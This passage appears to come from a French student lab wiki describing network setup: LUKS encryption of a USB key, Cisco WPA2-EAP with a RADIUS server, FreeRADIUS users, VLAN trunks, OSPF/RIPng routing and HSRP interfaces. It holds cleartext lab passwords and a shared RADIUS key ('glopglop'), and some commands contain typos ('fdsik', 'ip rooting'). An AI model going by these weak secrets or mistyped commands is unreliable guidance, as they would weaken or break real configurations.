 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
